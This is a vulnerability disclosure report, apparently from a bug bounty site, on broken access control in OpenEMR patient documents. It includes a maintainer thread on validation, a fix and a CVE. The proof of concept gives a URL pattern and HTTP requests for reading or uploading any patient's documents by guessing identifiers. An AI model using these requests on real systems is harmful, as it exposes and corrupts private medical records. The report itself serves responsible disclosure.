Broken Access Controls in Patient Files in openemr/openemr


Reported on

Oct 7th 2022


An authenticated user without document access has the ability to direct access any document in the system by using a url similar to this http://domain/openemr/controller.php?document&retrieve&patient_id=2&document_id=19. The autoincrement identifier was also susceptible of being bruteforced for both patient_id and document_id.

A second instance allowed an authenticated user without document access to upload file to any user repository.

Proof of Concept

The first one allows any user to access a document by referencing the patient_id and document_id:


The second instance affected the upload functionality. The following example illustrates the situation:

POST /openemr/controller.php?document&upload&patient_id=2&parent_id=1& HTTP/1.1
Upgrade-Insecure-Requests: 1

Content-Disposition: form-data; name="MAX_FILE_SIZE"

Content-Disposition: form-data; name="file[]"; filename="testBAC.txt"
Content-Type: text/plain

Content-Disposition: form-data; name="dicom_folder[]"; filename=""
Content-Type: application/octet-stream


The response displayed a message saying Documents Not Authorized, but the file was successfully uploaded:

GET /openemr/controller.php?document&retrieve&patient_id=2&document_id=23&as_file=false HTTP/1.1

HTTP/1.1 200 OK
Date: Fri, 07 Oct 2022 16:07:36 GMT
Server: Apache/2.4.54 (Debian)
Expires: 0
Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: public
Content-Description: File Transfer
Content-Transfer-Encoding: binary
Content-Disposition: inline; filename="testBAC.txt"
Content-Length: 8
Connection: close
Content-Type: text/plain;charset=utf-8



Any user with access to the platform would be able to bypass document access restrictions and download any document related to any user in the system. It was also possible to inject document to any patient that could leverage malicious data used as valid medical data.

We are processing your report and will contact the openemr team within 24 hours. a year ago
We have contacted a member of the openemr team and are waiting to hear back a year ago
We have sent a follow up to the openemr team. We will try again in 7 days. a year ago
We have sent a second follow up to the openemr team. We will try again in 10 days. a year ago
openemr/openemr maintainer has acknowledged this report a year ago
Brady Miller validated this vulnerability a year ago
xkulio has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Brady Miller marked this as fixed in with commit 953cb8 a year ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
C_Document.class.php#L565 has been validated
a year ago


@admin, can we get a CVE number for the last 5 vulns reported? @maintainer, do you need some extra time to release a new version before it goes public?

a year ago


If the maintainer accepts, we will assign CVEs for your past 5 reports. Let us know Brady :)

Brady Miller
a year ago

hi @xkulio and @Pavlos, Plan to "Publish" this about 1 week after we release 7.0.0 patch 2 (, which will likely be in about 2-4 weeks.

Brady Miller published this vulnerability a year ago
Brady Miller
a year ago

@admin, please assign a CVE. thanks!

a year ago


(y) on it

a year ago


sorry didn't notice we did this already

to join this conversation